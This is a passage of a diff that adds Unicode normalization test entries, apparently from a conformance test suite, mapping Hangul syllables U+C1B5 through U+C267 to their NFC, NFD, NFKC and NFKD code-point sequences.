+{ source: [0xC1B5], NFC: [0xC1B5], NFD: [0x1109, 0x116A, 0x11B4], NFKC: [0xC1B5], NFKD: [0x1109, 0x116A, 0x11B4] },
+{ source: [0xC1B6], NFC: [0xC1B6], NFD: [0x1109, 0x116A, 0x11B5], NFKC: [0xC1B6], NFKD: [0x1109, 0x116A, 0x11B5] },
+{ source: [0xC1B7], NFC: [0xC1B7], NFD: [0x1109, 0x116A, 0x11B6], NFKC: [0xC1B7], NFKD: [0x1109, 0x116A, 0x11B6] },
+{ source: [0xC1B8], NFC: [0xC1B8], NFD: [0x1109, 0x116A, 0x11B7], NFKC: [0xC1B8], NFKD: [0x1109, 0x116A, 0x11B7] },
+{ source: [0xC1B9], NFC: [0xC1B9], NFD: [0x1109, 0x116A, 0x11B8], NFKC: [0xC1B9], NFKD: [0x1109, 0x116A, 0x11B8] },
+{ source: [0xC1BA], NFC: [0xC1BA], NFD: [0x1109, 0x116A, 0x11B9], NFKC: [0xC1BA], NFKD: [0x1109, 0x116A, 0x11B9] },
+{ source: [0xC1BB], NFC: [0xC1BB], NFD: [0x1109, 0x116A, 0x11BA], NFKC: [0xC1BB], NFKD: [0x1109, 0x116A, 0x11BA] },
+{ source: [0xC1BC], NFC: [0xC1BC], NFD: [0x1109, 0x116A, 0x11BB], NFKC: [0xC1BC], NFKD: [0x1109, 0x116A, 0x11BB] },
+{ source: [0xC1BD], NFC: [0xC1BD], NFD: [0x1109, 0x116A, 0x11BC], NFKC: [0xC1BD], NFKD: [0x1109, 0x116A, 0x11BC] },
+{ source: [0xC1BE], NFC: [0xC1BE], NFD: [0x1109, 0x116A, 0x11BD], NFKC: [0xC1BE], NFKD: [0x1109, 0x116A, 0x11BD] },
+{ source: [0xC1BF], NFC: [0xC1BF], NFD: [0x1109, 0x116A, 0x11BE], NFKC: [0xC1BF], NFKD: [0x1109, 0x116A, 0x11BE] },
+{ source: [0xC1C0], NFC: [0xC1C0], NFD: [0x1109, 0x116A, 0x11BF], NFKC: [0xC1C0], NFKD: [0x1109, 0x116A, 0x11BF] },
+{ source: [0xC1C1], NFC: [0xC1C1], NFD: [0x1109, 0x116A, 0x11C0], NFKC: [0xC1C1], NFKD: [0x1109, 0x116A, 0x11C0] },
+{ source: [0xC1C2], NFC: [0xC1C2], NFD: [0x1109, 0x116A, 0x11C1], NFKC: [0xC1C2], NFKD: [0x1109, 0x116A, 0x11C1] },
+{ source: [0xC1C3], NFC: [0xC1C3], NFD: [0x1109, 0x116A, 0x11C2], NFKC: [0xC1C3], NFKD: [0x1109, 0x116A, 0x11C2] },
+{ source: [0xC1C4], NFC: [0xC1C4], NFD: [0x1109, 0x116B], NFKC: [0xC1C4], NFKD: [0x1109, 0x116B] },
+{ source: [0xC1C5], NFC: [0xC1C5], NFD: [0x1109, 0x116B, 0x11A8], NFKC: [0xC1C5], NFKD: [0x1109, 0x116B, 0x11A8] },
+{ source: [0xC1C6], NFC: [0xC1C6], NFD: [0x1109, 0x116B, 0x11A9], NFKC: [0xC1C6], NFKD: [0x1109, 0x116B, 0x11A9] },
+{ source: [0xC1C7], NFC: [0xC1C7], NFD: [0x1109, 0x116B, 0x11AA], NFKC: [0xC1C7], NFKD: [0x1109, 0x116B, 0x11AA] },
+{ source: [0xC1C8], NFC: [0xC1C8], NFD: [0x1109, 0x116B, 0x11AB], NFKC: [0xC1C8], NFKD: [0x1109, 0x116B, 0x11AB] },
+{ source: [0xC1C9], NFC: [0xC1C9], NFD: [0x1109, 0x116B, 0x11AC], NFKC: [0xC1C9], NFKD: [0x1109, 0x116B, 0x11AC] },
+{ source: [0xC1CA], NFC: [0xC1CA], NFD: [0x1109, 0x116B, 0x11AD], NFKC: [0xC1CA], NFKD: [0x1109, 0x116B, 0x11AD] },
+{ source: [0xC1CB], NFC: [0xC1CB], NFD: [0x1109, 0x116B, 0x11AE], NFKC: [0xC1CB], NFKD: [0x1109, 0x116B, 0x11AE] },
+{ source: [0xC1CC], NFC: [0xC1CC], NFD: [0x1109, 0x116B, 0x11AF], NFKC: [0xC1CC], NFKD: [0x1109, 0x116B, 0x11AF] },
+{ source: [0xC1CD], NFC: [0xC1CD], NFD: [0x1109, 0x116B, 0x11B0], NFKC: [0xC1CD], NFKD: [0x1109, 0x116B, 0x11B0] },
+{ source: [0xC1CE], NFC: [0xC1CE], NFD: [0x1109, 0x116B, 0x11B1], NFKC: [0xC1CE], NFKD: [0x1109, 0x116B, 0x11B1] },
+{ source: [0xC1CF], NFC: [0xC1CF], NFD: [0x1109, 0x116B, 0x11B2], NFKC: [0xC1CF], NFKD: [0x1109, 0x116B, 0x11B2] },
+{ source: [0xC1D0], NFC: [0xC1D0], NFD: [0x1109, 0x116B, 0x11B3], NFKC: [0xC1D0], NFKD: [0x1109, 0x116B, 0x11B3] },
+{ source: [0xC1D1], NFC: [0xC1D1], NFD: [0x1109, 0x116B, 0x11B4], NFKC: [0xC1D1], NFKD: [0x1109, 0x116B, 0x11B4] },
+{ source: [0xC1D2], NFC: [0xC1D2], NFD: [0x1109, 0x116B, 0x11B5], NFKC: [0xC1D2], NFKD: [0x1109, 0x116B, 0x11B5] },
+{ source: [0xC1D3], NFC: [0xC1D3], NFD: [0x1109, 0x116B, 0x11B6], NFKC: [0xC1D3], NFKD: [0x1109, 0x116B, 0x11B6] },
+{ source: [0xC1D4], NFC: [0xC1D4], NFD: [0x1109, 0x116B, 0x11B7], NFKC: [0xC1D4], NFKD: [0x1109, 0x116B, 0x11B7] },
+{ source: [0xC1D5], NFC: [0xC1D5], NFD: [0x1109, 0x116B, 0x11B8], NFKC: [0xC1D5], NFKD: [0x1109, 0x116B, 0x11B8] },
+{ source: [0xC1D6], NFC: [0xC1D6], NFD: [0x1109, 0x116B, 0x11B9], NFKC: [0xC1D6], NFKD: [0x1109, 0x116B, 0x11B9] },
+{ source: [0xC1D7], NFC: [0xC1D7], NFD: [0x1109, 0x116B, 0x11BA], NFKC: [0xC1D7], NFKD: [0x1109, 0x116B, 0x11BA] },
+{ source: [0xC1D8], NFC: [0xC1D8], NFD: [0x1109, 0x116B, 0x11BB], NFKC: [0xC1D8], NFKD: [0x1109, 0x116B, 0x11BB] },
+{ source: [0xC1D9], NFC: [0xC1D9], NFD: [0x1109, 0x116B, 0x11BC], NFKC: [0xC1D9], NFKD: [0x1109, 0x116B, 0x11BC] },
+{ source: [0xC1DA], NFC: [0xC1DA], NFD: [0x1109, 0x116B, 0x11BD], NFKC: [0xC1DA], NFKD: [0x1109, 0x116B, 0x11BD] },
+{ source: [0xC1DB], NFC: [0xC1DB], NFD: [0x1109, 0x116B, 0x11BE], NFKC: [0xC1DB], NFKD: [0x1109, 0x116B, 0x11BE] },
+{ source: [0xC1DC], NFC: [0xC1DC], NFD: [0x1109, 0x116B, 0x11BF], NFKC: [0xC1DC], NFKD: [0x1109, 0x116B, 0x11BF] },
+{ source: [0xC1DD], NFC: [0xC1DD], NFD: [0x1109, 0x116B, 0x11C0], NFKC: [0xC1DD], NFKD: [0x1109, 0x116B, 0x11C0] },
+{ source: [0xC1DE], NFC: [0xC1DE], NFD: [0x1109, 0x116B, 0x11C1], NFKC: [0xC1DE], NFKD: [0x1109, 0x116B, 0x11C1] },
+{ source: [0xC1DF], NFC: [0xC1DF], NFD: [0x1109, 0x116B, 0x11C2], NFKC: [0xC1DF], NFKD: [0x1109, 0x116B, 0x11C2] },
+{ source: [0xC1E0], NFC: [0xC1E0], NFD: [0x1109, 0x116C], NFKC: [0xC1E0], NFKD: [0x1109, 0x116C] },
+{ source: [0xC1E1], NFC: [0xC1E1], NFD: [0x1109, 0x116C, 0x11A8], NFKC: [0xC1E1], NFKD: [0x1109, 0x116C, 0x11A8] },
+{ source: [0xC1E2], NFC: [0xC1E2], NFD: [0x1109, 0x116C, 0x11A9], NFKC: [0xC1E2], NFKD: [0x1109, 0x116C, 0x11A9] },
+{ source: [0xC1E3], NFC: [0xC1E3], NFD: [0x1109, 0x116C, 0x11AA], NFKC: [0xC1E3], NFKD: [0x1109, 0x116C, 0x11AA] },
+{ source: [0xC1E4], NFC: [0xC1E4], NFD: [0x1109, 0x116C, 0x11AB], NFKC: [0xC1E4], NFKD: [0x1109, 0x116C, 0x11AB] },
+{ source: [0xC1E5], NFC: [0xC1E5], NFD: [0x1109, 0x116C, 0x11AC], NFKC: [0xC1E5], NFKD: [0x1109, 0x116C, 0x11AC] },
+{ source: [0xC1E6], NFC: [0xC1E6], NFD: [0x1109, 0x116C, 0x11AD], NFKC: [0xC1E6], NFKD: [0x1109, 0x116C, 0x11AD] },
+{ source: [0xC1E7], NFC: [0xC1E7], NFD: [0x1109, 0x116C, 0x11AE], NFKC: [0xC1E7], NFKD: [0x1109, 0x116C, 0x11AE] },
+{ source: [0xC1E8], NFC: [0xC1E8], NFD: [0x1109, 0x116C, 0x11AF], NFKC: [0xC1E8], NFKD: [0x1109, 0x116C, 0x11AF] },
+{ source: [0xC1E9], NFC: [0xC1E9], NFD: [0x1109, 0x116C, 0x11B0], NFKC: [0xC1E9], NFKD: [0x1109, 0x116C, 0x11B0] },
+{ source: [0xC1EA], NFC: [0xC1EA], NFD: [0x1109, 0x116C, 0x11B1], NFKC: [0xC1EA], NFKD: [0x1109, 0x116C, 0x11B1] },
+{ source: [0xC1EB], NFC: [0xC1EB], NFD: [0x1109, 0x116C, 0x11B2], NFKC: [0xC1EB], NFKD: [0x1109, 0x116C, 0x11B2] },
+{ source: [0xC1EC], NFC: [0xC1EC], NFD: [0x1109, 0x116C, 0x11B3], NFKC: [0xC1EC], NFKD: [0x1109, 0x116C, 0x11B3] },
+{ source: [0xC1ED], NFC: [0xC1ED], NFD: [0x1109, 0x116C, 0x11B4], NFKC: [0xC1ED], NFKD: [0x1109, 0x116C, 0x11B4] },
+{ source: [0xC1EE], NFC: [0xC1EE], NFD: [0x1109, 0x116C, 0x11B5], NFKC: [0xC1EE], NFKD: [0x1109, 0x116C, 0x11B5] },
+{ source: [0xC1EF], NFC: [0xC1EF], NFD: [0x1109, 0x116C, 0x11B6], NFKC: [0xC1EF], NFKD: [0x1109, 0x116C, 0x11B6] },
+{ source: [0xC1F0], NFC: [0xC1F0], NFD: [0x1109, 0x116C, 0x11B7], NFKC: [0xC1F0], NFKD: [0x1109, 0x116C, 0x11B7] },
+{ source: [0xC1F1], NFC: [0xC1F1], NFD: [0x1109, 0x116C, 0x11B8], NFKC: [0xC1F1], NFKD: [0x1109, 0x116C, 0x11B8] },
+{ source: [0xC1F2], NFC: [0xC1F2], NFD: [0x1109, 0x116C, 0x11B9], NFKC: [0xC1F2], NFKD: [0x1109, 0x116C, 0x11B9] },
+{ source: [0xC1F3], NFC: [0xC1F3], NFD: [0x1109, 0x116C, 0x11BA], NFKC: [0xC1F3], NFKD: [0x1109, 0x116C, 0x11BA] },
+{ source: [0xC1F4], NFC: [0xC1F4], NFD: [0x1109, 0x116C, 0x11BB], NFKC: [0xC1F4], NFKD: [0x1109, 0x116C, 0x11BB] },
+{ source: [0xC1F5], NFC: [0xC1F5], NFD: [0x1109, 0x116C, 0x11BC], NFKC: [0xC1F5], NFKD: [0x1109, 0x116C, 0x11BC] },
+{ source: [0xC1F6], NFC: [0xC1F6], NFD: [0x1109, 0x116C, 0x11BD], NFKC: [0xC1F6], NFKD: [0x1109, 0x116C, 0x11BD] },
+{ source: [0xC1F7], NFC: [0xC1F7], NFD: [0x1109, 0x116C, 0x11BE], NFKC: [0xC1F7], NFKD: [0x1109, 0x116C, 0x11BE] },
+{ source: [0xC1F8], NFC: [0xC1F8], NFD: [0x1109, 0x116C, 0x11BF], NFKC: [0xC1F8], NFKD: [0x1109, 0x116C, 0x11BF] },
+{ source: [0xC1F9], NFC: [0xC1F9], NFD: [0x1109, 0x116C, 0x11C0], NFKC: [0xC1F9], NFKD: [0x1109, 0x116C, 0x11C0] },
+{ source: [0xC1FA], NFC: [0xC1FA], NFD: [0x1109, 0x116C, 0x11C1], NFKC: [0xC1FA], NFKD: [0x1109, 0x116C, 0x11C1] },
+{ source: [0xC1FB], NFC: [0xC1FB], NFD: [0x1109, 0x116C, 0x11C2], NFKC: [0xC1FB], NFKD: [0x1109, 0x116C, 0x11C2] },
+{ source: [0xC1FC], NFC: [0xC1FC], NFD: [0x1109, 0x116D], NFKC: [0xC1FC], NFKD: [0x1109, 0x116D] },
+{ source: [0xC1FD], NFC: [0xC1FD], NFD: [0x1109, 0x116D, 0x11A8], NFKC: [0xC1FD], NFKD: [0x1109, 0x116D, 0x11A8] },
+{ source: [0xC1FE], NFC: [0xC1FE], NFD: [0x1109, 0x116D, 0x11A9], NFKC: [0xC1FE], NFKD: [0x1109, 0x116D, 0x11A9] },
+{ source: [0xC1FF], NFC: [0xC1FF], NFD: [0x1109, 0x116D, 0x11AA], NFKC: [0xC1FF], NFKD: [0x1109, 0x116D, 0x11AA] },
+{ source: [0xC200], NFC: [0xC200], NFD: [0x1109, 0x116D, 0x11AB], NFKC: [0xC200], NFKD: [0x1109, 0x116D, 0x11AB] },
+{ source: [0xC201], NFC: [0xC201], NFD: [0x1109, 0x116D, 0x11AC], NFKC: [0xC201], NFKD: [0x1109, 0x116D, 0x11AC] },
+{ source: [0xC202], NFC: [0xC202], NFD: [0x1109, 0x116D, 0x11AD], NFKC: [0xC202], NFKD: [0x1109, 0x116D, 0x11AD] },
+{ source: [0xC203], NFC: [0xC203], NFD: [0x1109, 0x116D, 0x11AE], NFKC: [0xC203], NFKD: [0x1109, 0x116D, 0x11AE] },
+{ source: [0xC204], NFC: [0xC204], NFD: [0x1109, 0x116D, 0x11AF], NFKC: [0xC204], NFKD: [0x1109, 0x116D, 0x11AF] },
+{ source: [0xC205], NFC: [0xC205], NFD: [0x1109, 0x116D, 0x11B0], NFKC: [0xC205], NFKD: [0x1109, 0x116D, 0x11B0] },
+{ source: [0xC206], NFC: [0xC206], NFD: [0x1109, 0x116D, 0x11B1], NFKC: [0xC206], NFKD: [0x1109, 0x116D, 0x11B1] },
+{ source: [0xC207], NFC: [0xC207], NFD: [0x1109, 0x116D, 0x11B2], NFKC: [0xC207], NFKD: [0x1109, 0x116D, 0x11B2] },
+{ source: [0xC208], NFC: [0xC208], NFD: [0x1109, 0x116D, 0x11B3], NFKC: [0xC208], NFKD: [0x1109, 0x116D, 0x11B3] },
+{ source: [0xC209], NFC: [0xC209], NFD: [0x1109, 0x116D, 0x11B4], NFKC: [0xC209], NFKD: [0x1109, 0x116D, 0x11B4] },
+{ source: [0xC20A], NFC: [0xC20A], NFD: [0x1109, 0x116D, 0x11B5], NFKC: [0xC20A], NFKD: [0x1109, 0x116D, 0x11B5] },
+{ source: [0xC20B], NFC: [0xC20B], NFD: [0x1109, 0x116D, 0x11B6], NFKC: [0xC20B], NFKD: [0x1109, 0x116D, 0x11B6] },
+{ source: [0xC20C], NFC: [0xC20C], NFD: [0x1109, 0x116D, 0x11B7], NFKC: [0xC20C], NFKD: [0x1109, 0x116D, 0x11B7] },
+{ source: [0xC20D], NFC: [0xC20D], NFD: [0x1109, 0x116D, 0x11B8], NFKC: [0xC20D], NFKD: [0x1109, 0x116D, 0x11B8] },
+{ source: [0xC20E], NFC: [0xC20E], NFD: [0x1109, 0x116D, 0x11B9], NFKC: [0xC20E], NFKD: [0x1109, 0x116D, 0x11B9] },
+{ source: [0xC20F], NFC: [0xC20F], NFD: [0x1109, 0x116D, 0x11BA], NFKC: [0xC20F], NFKD: [0x1109, 0x116D, 0x11BA] },
+{ source: [0xC210], NFC: [0xC210], NFD: [0x1109, 0x116D, 0x11BB], NFKC: [0xC210], NFKD: [0x1109, 0x116D, 0x11BB] },
+{ source: [0xC211], NFC: [0xC211], NFD: [0x1109, 0x116D, 0x11BC], NFKC: [0xC211], NFKD: [0x1109, 0x116D, 0x11BC] },
+{ source: [0xC212], NFC: [0xC212], NFD: [0x1109, 0x116D, 0x11BD], NFKC: [0xC212], NFKD: [0x1109, 0x116D, 0x11BD] },
+{ source: [0xC213], NFC: [0xC213], NFD: [0x1109, 0x116D, 0x11BE], NFKC: [0xC213], NFKD: [0x1109, 0x116D, 0x11BE] },
+{ source: [0xC214], NFC: [0xC214], NFD: [0x1109, 0x116D, 0x11BF], NFKC: [0xC214], NFKD: [0x1109, 0x116D, 0x11BF] },
+{ source: [0xC215], NFC: [0xC215], NFD: [0x1109, 0x116D, 0x11C0], NFKC: [0xC215], NFKD: [0x1109, 0x116D, 0x11C0] },
+{ source: [0xC216], NFC: [0xC216], NFD: [0x1109, 0x116D, 0x11C1], NFKC: [0xC216], NFKD: [0x1109, 0x116D, 0x11C1] },
+{ source: [0xC217], NFC: [0xC217], NFD: [0x1109, 0x116D, 0x11C2], NFKC: [0xC217], NFKD: [0x1109, 0x116D, 0x11C2] },
+{ source: [0xC218], NFC: [0xC218], NFD: [0x1109, 0x116E], NFKC: [0xC218], NFKD: [0x1109, 0x116E] },
+{ source: [0xC219], NFC: [0xC219], NFD: [0x1109, 0x116E, 0x11A8], NFKC: [0xC219], NFKD: [0x1109, 0x116E, 0x11A8] },
+{ source: [0xC21A], NFC: [0xC21A], NFD: [0x1109, 0x116E, 0x11A9], NFKC: [0xC21A], NFKD: [0x1109, 0x116E, 0x11A9] },
+{ source: [0xC21B], NFC: [0xC21B], NFD: [0x1109, 0x116E, 0x11AA], NFKC: [0xC21B], NFKD: [0x1109, 0x116E, 0x11AA] },
+{ source: [0xC21C], NFC: [0xC21C], NFD: [0x1109, 0x116E, 0x11AB], NFKC: [0xC21C], NFKD: [0x1109, 0x116E, 0x11AB] },
+{ source: [0xC21D], NFC: [0xC21D], NFD: [0x1109, 0x116E, 0x11AC], NFKC: [0xC21D], NFKD: [0x1109, 0x116E, 0x11AC] },
+{ source: [0xC21E], NFC: [0xC21E], NFD: [0x1109, 0x116E, 0x11AD], NFKC: [0xC21E], NFKD: [0x1109, 0x116E, 0x11AD] },
+{ source: [0xC21F], NFC: [0xC21F], NFD: [0x1109, 0x116E, 0x11AE], NFKC: [0xC21F], NFKD: [0x1109, 0x116E, 0x11AE] },
+{ source: [0xC220], NFC: [0xC220], NFD: [0x1109, 0x116E, 0x11AF], NFKC: [0xC220], NFKD: [0x1109, 0x116E, 0x11AF] },
+{ source: [0xC221], NFC: [0xC221], NFD: [0x1109, 0x116E, 0x11B0], NFKC: [0xC221], NFKD: [0x1109, 0x116E, 0x11B0] },
+{ source: [0xC222], NFC: [0xC222], NFD: [0x1109, 0x116E, 0x11B1], NFKC: [0xC222], NFKD: [0x1109, 0x116E, 0x11B1] },
+{ source: [0xC223], NFC: [0xC223], NFD: [0x1109, 0x116E, 0x11B2], NFKC: [0xC223], NFKD: [0x1109, 0x116E, 0x11B2] },
+{ source: [0xC224], NFC: [0xC224], NFD: [0x1109, 0x116E, 0x11B3], NFKC: [0xC224], NFKD: [0x1109, 0x116E, 0x11B3] },
+{ source: [0xC225], NFC: [0xC225], NFD: [0x1109, 0x116E, 0x11B4], NFKC: [0xC225], NFKD: [0x1109, 0x116E, 0x11B4] },
+{ source: [0xC226], NFC: [0xC226], NFD: [0x1109, 0x116E, 0x11B5], NFKC: [0xC226], NFKD: [0x1109, 0x116E, 0x11B5] },
+{ source: [0xC227], NFC: [0xC227], NFD: [0x1109, 0x116E, 0x11B6], NFKC: [0xC227], NFKD: [0x1109, 0x116E, 0x11B6] },
+{ source: [0xC228], NFC: [0xC228], NFD: [0x1109, 0x116E, 0x11B7], NFKC: [0xC228], NFKD: [0x1109, 0x116E, 0x11B7] },
+{ source: [0xC229], NFC: [0xC229], NFD: [0x1109, 0x116E, 0x11B8], NFKC: [0xC229], NFKD: [0x1109, 0x116E, 0x11B8] },
+{ source: [0xC22A], NFC: [0xC22A], NFD: [0x1109, 0x116E, 0x11B9], NFKC: [0xC22A], NFKD: [0x1109, 0x116E, 0x11B9] },
+{ source: [0xC22B], NFC: [0xC22B], NFD: [0x1109, 0x116E, 0x11BA], NFKC: [0xC22B], NFKD: [0x1109, 0x116E, 0x11BA] },
+{ source: [0xC22C], NFC: [0xC22C], NFD: [0x1109, 0x116E, 0x11BB], NFKC: [0xC22C], NFKD: [0x1109, 0x116E, 0x11BB] },
+{ source: [0xC22D], NFC: [0xC22D], NFD: [0x1109, 0x116E, 0x11BC], NFKC: [0xC22D], NFKD: [0x1109, 0x116E, 0x11BC] },
+{ source: [0xC22E], NFC: [0xC22E], NFD: [0x1109, 0x116E, 0x11BD], NFKC: [0xC22E], NFKD: [0x1109, 0x116E, 0x11BD] },
+{ source: [0xC22F], NFC: [0xC22F], NFD: [0x1109, 0x116E, 0x11BE], NFKC: [0xC22F], NFKD: [0x1109, 0x116E, 0x11BE] },
+{ source: [0xC230], NFC: [0xC230], NFD: [0x1109, 0x116E, 0x11BF], NFKC: [0xC230], NFKD: [0x1109, 0x116E, 0x11BF] },
+{ source: [0xC231], NFC: [0xC231], NFD: [0x1109, 0x116E, 0x11C0], NFKC: [0xC231], NFKD: [0x1109, 0x116E, 0x11C0] },
+{ source: [0xC232], NFC: [0xC232], NFD: [0x1109, 0x116E, 0x11C1], NFKC: [0xC232], NFKD: [0x1109, 0x116E, 0x11C1] },
+{ source: [0xC233], NFC: [0xC233], NFD: [0x1109, 0x116E, 0x11C2], NFKC: [0xC233], NFKD: [0x1109, 0x116E, 0x11C2] },
+{ source: [0xC234], NFC: [0xC234], NFD: [0x1109, 0x116F], NFKC: [0xC234], NFKD: [0x1109, 0x116F] },
+{ source: [0xC235], NFC: [0xC235], NFD: [0x1109, 0x116F, 0x11A8], NFKC: [0xC235], NFKD: [0x1109, 0x116F, 0x11A8] },
+{ source: [0xC236], NFC: [0xC236], NFD: [0x1109, 0x116F, 0x11A9], NFKC: [0xC236], NFKD: [0x1109, 0x116F, 0x11A9] },
+{ source: [0xC237], NFC: [0xC237], NFD: [0x1109, 0x116F, 0x11AA], NFKC: [0xC237], NFKD: [0x1109, 0x116F, 0x11AA] },
+{ source: [0xC238], NFC: [0xC238], NFD: [0x1109, 0x116F, 0x11AB], NFKC: [0xC238], NFKD: [0x1109, 0x116F, 0x11AB] },
+{ source: [0xC239], NFC: [0xC239], NFD: [0x1109, 0x116F, 0x11AC], NFKC: [0xC239], NFKD: [0x1109, 0x116F, 0x11AC] },
+{ source: [0xC23A], NFC: [0xC23A], NFD: [0x1109, 0x116F, 0x11AD], NFKC: [0xC23A], NFKD: [0x1109, 0x116F, 0x11AD] },
+{ source: [0xC23B], NFC: [0xC23B], NFD: [0x1109, 0x116F, 0x11AE], NFKC: [0xC23B], NFKD: [0x1109, 0x116F, 0x11AE] },
+{ source: [0xC23C], NFC: [0xC23C], NFD: [0x1109, 0x116F, 0x11AF], NFKC: [0xC23C], NFKD: [0x1109, 0x116F, 0x11AF] },
+{ source: [0xC23D], NFC: [0xC23D], NFD: [0x1109, 0x116F, 0x11B0], NFKC: [0xC23D], NFKD: [0x1109, 0x116F, 0x11B0] },
+{ source: [0xC23E], NFC: [0xC23E], NFD: [0x1109, 0x116F, 0x11B1], NFKC: [0xC23E], NFKD: [0x1109, 0x116F, 0x11B1] },
+{ source: [0xC23F], NFC: [0xC23F], NFD: [0x1109, 0x116F, 0x11B2], NFKC: [0xC23F], NFKD: [0x1109, 0x116F, 0x11B2] },
+{ source: [0xC240], NFC: [0xC240], NFD: [0x1109, 0x116F, 0x11B3], NFKC: [0xC240], NFKD: [0x1109, 0x116F, 0x11B3] },
+{ source: [0xC241], NFC: [0xC241], NFD: [0x1109, 0x116F, 0x11B4], NFKC: [0xC241], NFKD: [0x1109, 0x116F, 0x11B4] },
+{ source: [0xC242], NFC: [0xC242], NFD: [0x1109, 0x116F, 0x11B5], NFKC: [0xC242], NFKD: [0x1109, 0x116F, 0x11B5] },
+{ source: [0xC243], NFC: [0xC243], NFD: [0x1109, 0x116F, 0x11B6], NFKC: [0xC243], NFKD: [0x1109, 0x116F, 0x11B6] },
+{ source: [0xC244], NFC: [0xC244], NFD: [0x1109, 0x116F, 0x11B7], NFKC: [0xC244], NFKD: [0x1109, 0x116F, 0x11B7] },
+{ source: [0xC245], NFC: [0xC245], NFD: [0x1109, 0x116F, 0x11B8], NFKC: [0xC245], NFKD: [0x1109, 0x116F, 0x11B8] },
+{ source: [0xC246], NFC: [0xC246], NFD: [0x1109, 0x116F, 0x11B9], NFKC: [0xC246], NFKD: [0x1109, 0x116F, 0x11B9] },
+{ source: [0xC247], NFC: [0xC247], NFD: [0x1109, 0x116F, 0x11BA], NFKC: [0xC247], NFKD: [0x1109, 0x116F, 0x11BA] },
+{ source: [0xC248], NFC: [0xC248], NFD: [0x1109, 0x116F, 0x11BB], NFKC: [0xC248], NFKD: [0x1109, 0x116F, 0x11BB] },
+{ source: [0xC249], NFC: [0xC249], NFD: [0x1109, 0x116F, 0x11BC], NFKC: [0xC249], NFKD: [0x1109, 0x116F, 0x11BC] },
+{ source: [0xC24A], NFC: [0xC24A], NFD: [0x1109, 0x116F, 0x11BD], NFKC: [0xC24A], NFKD: [0x1109, 0x116F, 0x11BD] },
+{ source: [0xC24B], NFC: [0xC24B], NFD: [0x1109, 0x116F, 0x11BE], NFKC: [0xC24B], NFKD: [0x1109, 0x116F, 0x11BE] },
+{ source: [0xC24C], NFC: [0xC24C], NFD: [0x1109, 0x116F, 0x11BF], NFKC: [0xC24C], NFKD: [0x1109, 0x116F, 0x11BF] },
+{ source: [0xC24D], NFC: [0xC24D], NFD: [0x1109, 0x116F, 0x11C0], NFKC: [0xC24D], NFKD: [0x1109, 0x116F, 0x11C0] },
+{ source: [0xC24E], NFC: [0xC24E], NFD: [0x1109, 0x116F, 0x11C1], NFKC: [0xC24E], NFKD: [0x1109, 0x116F, 0x11C1] },
+{ source: [0xC24F], NFC: [0xC24F], NFD: [0x1109, 0x116F, 0x11C2], NFKC: [0xC24F], NFKD: [0x1109, 0x116F, 0x11C2] },
+{ source: [0xC250], NFC: [0xC250], NFD: [0x1109, 0x1170], NFKC: [0xC250], NFKD: [0x1109, 0x1170] },
+{ source: [0xC251], NFC: [0xC251], NFD: [0x1109, 0x1170, 0x11A8], NFKC: [0xC251], NFKD: [0x1109, 0x1170, 0x11A8] },
+{ source: [0xC252], NFC: [0xC252], NFD: [0x1109, 0x1170, 0x11A9], NFKC: [0xC252], NFKD: [0x1109, 0x1170, 0x11A9] },
+{ source: [0xC253], NFC: [0xC253], NFD: [0x1109, 0x1170, 0x11AA], NFKC: [0xC253], NFKD: [0x1109, 0x1170, 0x11AA] },
+{ source: [0xC254], NFC: [0xC254], NFD: [0x1109, 0x1170, 0x11AB], NFKC: [0xC254], NFKD: [0x1109, 0x1170, 0x11AB] },
+{ source: [0xC255], NFC: [0xC255], NFD: [0x1109, 0x1170, 0x11AC], NFKC: [0xC255], NFKD: [0x1109, 0x1170, 0x11AC] },
+{ source: [0xC256], NFC: [0xC256], NFD: [0x1109, 0x1170, 0x11AD], NFKC: [0xC256], NFKD: [0x1109, 0x1170, 0x11AD] },
+{ source: [0xC257], NFC: [0xC257], NFD: [0x1109, 0x1170, 0x11AE], NFKC: [0xC257], NFKD: [0x1109, 0x1170, 0x11AE] },
+{ source: [0xC258], NFC: [0xC258], NFD: [0x1109, 0x1170, 0x11AF], NFKC: [0xC258], NFKD: [0x1109, 0x1170, 0x11AF] },
+{ source: [0xC259], NFC: [0xC259], NFD: [0x1109, 0x1170, 0x11B0], NFKC: [0xC259], NFKD: [0x1109, 0x1170, 0x11B0] },
+{ source: [0xC25A], NFC: [0xC25A], NFD: [0x1109, 0x1170, 0x11B1], NFKC: [0xC25A], NFKD: [0x1109, 0x1170, 0x11B1] },
+{ source: [0xC25B], NFC: [0xC25B], NFD: [0x1109, 0x1170, 0x11B2], NFKC: [0xC25B], NFKD: [0x1109, 0x1170, 0x11B2] },
+{ source: [0xC25C], NFC: [0xC25C], NFD: [0x1109, 0x1170, 0x11B3], NFKC: [0xC25C], NFKD: [0x1109, 0x1170, 0x11B3] },
+{ source: [0xC25D], NFC: [0xC25D], NFD: [0x1109, 0x1170, 0x11B4], NFKC: [0xC25D], NFKD: [0x1109, 0x1170, 0x11B4] },
+{ source: [0xC25E], NFC: [0xC25E], NFD: [0x1109, 0x1170, 0x11B5], NFKC: [0xC25E], NFKD: [0x1109, 0x1170, 0x11B5] },
+{ source: [0xC25F], NFC: [0xC25F], NFD: [0x1109, 0x1170, 0x11B6], NFKC: [0xC25F], NFKD: [0x1109, 0x1170, 0x11B6] },
+{ source: [0xC260], NFC: [0xC260], NFD: [0x1109, 0x1170, 0x11B7], NFKC: [0xC260], NFKD: [0x1109, 0x1170, 0x11B7] },
+{ source: [0xC261], NFC: [0xC261], NFD: [0x1109, 0x1170, 0x11B8], NFKC: [0xC261], NFKD: [0x1109, 0x1170, 0x11B8] },
+{ source: [0xC262], NFC: [0xC262], NFD: [0x1109, 0x1170, 0x11B9], NFKC: [0xC262], NFKD: [0x1109, 0x1170, 0x11B9] },
+{ source: [0xC263], NFC: [0xC263], NFD: [0x1109, 0x1170, 0x11BA], NFKC: [0xC263], NFKD: [0x1109, 0x1170, 0x11BA] },
+{ source: [0xC264], NFC: [0xC264], NFD: [0x1109, 0x1170, 0x11BB], NFKC: [0xC264], NFKD: [0x1109, 0x1170, 0x11BB] },
+{ source: [0xC265], NFC: [0xC265], NFD: [0x1109, 0x1170, 0x11BC], NFKC: [0xC265], NFKD: [0x1109, 0x1170, 0x11BC] },
+{ source: [0xC266], NFC: [0xC266], NFD: [0x1109, 0x1170, 0x11BD], NFKC: [0xC266], NFKD: [0x1109, 0x1170, 0x11BD] },
+{ source: [0xC267], NFC: [0xC267], NFD: [0x1109, 0x1170, 0x11BE], NFKC: [0xC267], NFKD: [0x1109, 0x1170, 0x11BE] },
